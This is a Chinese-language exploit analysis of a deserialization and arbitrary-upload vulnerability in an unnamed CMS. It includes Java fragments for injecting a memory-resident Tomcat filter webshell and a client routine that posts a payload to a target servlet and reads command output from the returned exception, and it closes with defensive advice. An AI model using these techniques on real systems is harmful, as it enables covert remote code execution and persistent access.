某C 1day 反序列化漏洞的武器级利用
字数 813 2025-08-10 00:24:04
某C CMS反序列化漏洞武器级利用分析
漏洞概述
该文档详细分析某C CMS中存在的一个高危反序列化漏洞,该漏洞不仅允许任意文件上传,还可通过Apache Commons Collections库直接实现远程代码执行(RCE),并进一步植入内存马。
漏洞点分析
1. 任意文件上传漏洞点
- 位置:
servlet.FileReceiveServlet - 机制:
- 从请求中读取流并转换为Map类型
- 读取上传文件路径参数
- 直接写入服务器文件系统
- 无足够的安全校验措施
2. 反序列化漏洞核心
- 系统classpath中包含Apache Commons Collections库
- 存在多个反序列化入口点
- 报文中无明显特征,难以被WAF/IDS检测
武器级利用技术
内存马植入技术
关键步骤:
- 获取ServletContext:
Object obj = 改动Locator.getInstance().lookup("ServletContext");
Field contextField = obj.getClass().getDeclaredField("context");
contextField.setAccessible(true);
obj = contextField.get(obj);
Field contextField1 = obj.getClass().getDeclaredField("context");
contextField1.setAccessible(true);
addFilterToTomcat(contextField1.get(obj));
- 依赖库:
- 主要利用xalan库实现任意代码执行
- 内存马模型:
- 可复用已有内存马模型,只需少量适配即可
回显技术
利用点: uploadServlet
- 特点:
- 包含反序列化的
readObject方法 - 将错误信息写入response
- 关键代码片段:
- 包含反序列化的
out = new ObjectOutputStream(output);
in = new ObjectInputStream(request.getInputStream());
String dsName = (String)in.readObject();
} } catch (Exception var14) {
var14.printStackTrace();
if (out == null) {
throw new ServletException(var14);
}
out.writeObject(var14);
客户端实现:
byte[] r = HttpClient.post("http://192.168.12.133/servlet/UploadServlet", baos.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r));
Exception e = (Exception) objectInputStream.readObject();
Object obj = e.getCause();
Field targetF = obj.getClass().getDeclaredField("target");
targetF.setAccessible(true);
obj = targetF.get(obj);
Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage");
msgF.setAccessible(true);
String msg = msgF.get(obj).toString();
System.out.println(msg);
漏洞利用流程
- 构造反序列化payload
- 通过任意反序列化入口点发送payload
- 利用Commons Collections链执行命令
- 可选:
- 直接获取系统权限
- 植入内存马实现持久化
- 通过UploadServlet获取命令执行回显
防御建议
- 升级Apache Commons Collections库
- 对反序列化操作进行严格限制
- 实现文件上传的白名单校验
- 对Servlet异常信息进行过滤,避免敏感信息泄露
- 使用安全管理器限制危险操作
总结
该漏洞链从反序列化入手,可导致完整的系统沦陷,相比单纯的任意文件上传具有更高的危害性。攻击者可利用内存马技术实现持久化访问,并通过精心构造的回显机制获取命令执行结果,形成完整的攻击闭环。